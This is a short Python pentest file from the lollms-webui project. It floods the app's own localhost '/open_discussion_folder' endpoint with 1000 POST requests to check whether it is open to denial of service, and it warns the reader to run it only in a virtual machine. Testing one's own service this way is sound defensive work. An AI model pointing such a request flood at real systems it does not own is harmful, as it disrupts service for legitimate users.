lollms-webui/tests/pentests/service_denial/test_service_denial.py
Saifeddine ALOUI 0d3de00af7 new version
2024-05-03 00:58:18 +02:00

18 lines
677 B
Python

'''
This python script is performing a Denial of Service (DoS) attack on your endpoint.
It is creating a large number of requests (1000 in this case) to the '/open_discussion_folder' API endpoint of your server.
This could potentially overload your server, making it unable to serve normal, legitimate requests.
Please make sure you test this only on a virtual machine since it can overload your own PC and crush it
'''
import requests
IP_ADDRESS = "localhost"
PORT = 9600
for i in range(1000):
data = {
"discussion_id":f"{i}",
}
response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/open_discussion_folder", json=data)
print(i, response.json())